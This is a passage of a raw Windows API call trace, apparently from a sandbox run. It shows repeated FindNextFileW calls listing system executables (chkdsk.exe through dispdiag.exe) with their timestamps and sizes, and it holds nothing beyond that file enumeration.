ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdc10dea0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="chkdsk.exe", cAlternateFileName="")) returned 1 [0138.720] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdc134fa0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="chkntfs.exe", cAlternateFileName="")) returned 1 [0138.720] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93205b17, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93205b17, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9322bc77, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="choice.exe", cAlternateFileName="")) returned 1 [0138.720] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x318b7149, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x318b7149, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdc23f170, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="cipher.exe", cAlternateFileName="")) returned 1 [0138.720] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbbfaf1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x7cbbfaf1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdc2fd850, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x34c00, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="cleanmgr.exe", cAlternateFileName="")) returned 1 [0138.720] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7e5790, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xb7e5790, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xdc324950, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xc000, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="cliconfg.exe", cAlternateFileName="")) returned 1 [0138.720] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x391d06ff, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x391d06ff, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdc349340, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7e00, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="clip.exe", cAlternateFileName="")) returned 1 [0138.720] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8734b6f7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8734b6f7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87371858, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x54400, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="cmd.exe", cAlternateFileName="")) returned 1 [0138.720] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1030d73, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xb1030d73, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdd3a6a80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="cmdkey.exe", cAlternateFileName="")) returned 1 [0138.720] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec55860, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x6ec55860, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xdd3cdb80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="cmdl32.exe", cAlternateFileName="")) returned 1 [0138.720] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d4445bb, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x7d4445bb, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xdd3f2570, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="cmmon32.exe", cAlternateFileName="")) returned 1 [0138.720] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8efab55c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8efab55c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8efab55c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16800, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="cmstp.exe", cAlternateFileName="")) returned 1 [0138.720] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ba021e4, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1ba021e4, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdd419670, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="cofire.exe", cAlternateFileName="")) returned 1 [0138.720] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19fdc04, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x19fdc04, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xdd465160, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x15200, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="colorcpl.exe", cAlternateFileName="")) returned 1 [0138.720] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x316ee0ed, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x316ee0ed, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdd48c260, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="comp.exe", cAlternateFileName="")) returned 1 [0138.720] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdd4b0c50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="compact.exe", cAlternateFileName="")) returned 1 [0138.720] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7238b736, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x7238b736, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xeecd5140, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x23a00, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="CompMgmtLauncher.exe", cAlternateFileName="")) returned 1 [0138.720] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d7da9e, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x82d7da9e, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdd4b0c50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9200, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="ComputerDefaults.exe", cAlternateFileName="")) returned 1 [0138.720] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x853e749d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x853e749d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8547fa1f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x52800, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="conhost.exe", cAlternateFileName="")) returned 1 [0138.720] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ee548fa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ee548fa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ee548fa, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1b580, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="consent.exe", cAlternateFileName="")) returned 1 [0138.720] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75044f6b, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x75044f6b, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdd67bc10, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="control.exe", cAlternateFileName="")) returned 1 [0138.720] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29ca404f, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x29ca404f, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdd6a0600, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="convert.exe", cAlternateFileName="")) returned 1 [0138.720] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eda12e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xb0eda12e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xddacb450, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="credwiz.exe", cAlternateFileName="")) returned 1 [0138.720] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53727ed, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xd53727ed, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xddb62a30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x26200, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="cscript.exe", cAlternateFileName="")) returned 1 [0138.720] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b3e3e96, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x6b3e3e96, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xddb62a30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="csrss.exe", cAlternateFileName="")) returned 1 [0138.721] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c51c5ff, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x1c51c5ff, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xddbb0c30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="ctfmon.exe", cAlternateFileName="")) returned 1 [0138.721] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2191a4, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x8e2191a4, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xddc48210, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4ea00, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="cttune.exe", cAlternateFileName="")) returned 1 [0138.721] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x895c7647, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x895c7647, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xddc6f310, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="cttunesvr.exe", cAlternateFileName="")) returned 1 [0138.721] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1385fc55, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x1385fc55, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xdde37bc0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xd7400, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="dccw.exe", cAlternateFileName="")) returned 1 [0138.721] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfca15ae0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xfca15ae0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xde000470, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="dcomcnfg.exe", cAlternateFileName="")) returned 1 [0138.721] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbf2c800, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xdbf2c800, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xde0beb50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="ddodiag.exe", cAlternateFileName="")) returned 1 [0138.721] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbcdff23, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xbbcdff23, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xde10a640, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2cc00, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="Defrag.exe", cAlternateFileName="")) returned 1 [0138.721] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb939178, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xdb939178, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xde156130, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1b400, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="DeviceDisplayObjectProvider.exe", cAlternateFileName="")) returned 1 [0138.721] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ff3a56c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x5ff3a56c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xde156130, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6400, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="DeviceEject.exe", cAlternateFileName="")) returned 1 [0138.721] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbe32659, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbbe32659, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xde17d230, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12400, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="DevicePairingWizard.exe", cAlternateFileName="")) returned 1 [0138.721] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82848ae7, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x82848ae7, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xde1efe20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x16a00, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="DeviceProperties.exe", cAlternateFileName="")) returned 1 [0138.721] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fb9db19, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1fb9db19, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xde214810, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="DFDWiz.exe", cAlternateFileName="")) returned 1 [0138.721] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x936a25bf, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x936a25bf, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x936a25bf, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x94000, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="dfrgui.exe", cAlternateFileName="")) returned 1 [0138.721] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe2c2b99, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xbe2c2b99, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xdff65630, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="dialer.exe", cAlternateFileName="")) returned 1 [0138.721] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9a95e4b, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xa9a95e4b, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xdffb1120, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1c600, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="diantz.exe", cAlternateFileName="")) returned 1 [0138.721] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60e1adc0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x60e1adc0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdffd5b10, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="dinotify.exe", cAlternateFileName="")) returned 1 [0138.721] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x938917a3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x938917a3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x938b7903, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28a00, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="diskpart.exe", cAlternateFileName="")) returned 1 [0138.721] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13c984a5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x13c984a5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe00bb2f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="diskperf.exe", cAlternateFileName="")) returned 1 [0138.721] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93a80986, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93a80986, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93a80986, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x58c00, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="diskraid.exe", cAlternateFileName="")) returned 1 [0138.721] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8837bef, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xe8837bef, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe0369380, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x43200, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="Dism.exe", cAlternateFileName="")) returned 1 [0138.721] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd81ea4a, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd81ea4a, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xe0400960, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x26e00, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="dispdiag.exe", cAlternateFileName="")) returned 1 [0138.721] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f9a6bc8, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x5f9a6bc8, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe057d720, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x81400, dwReserved0=0xa90000, dwReserved1=0x991fe0, 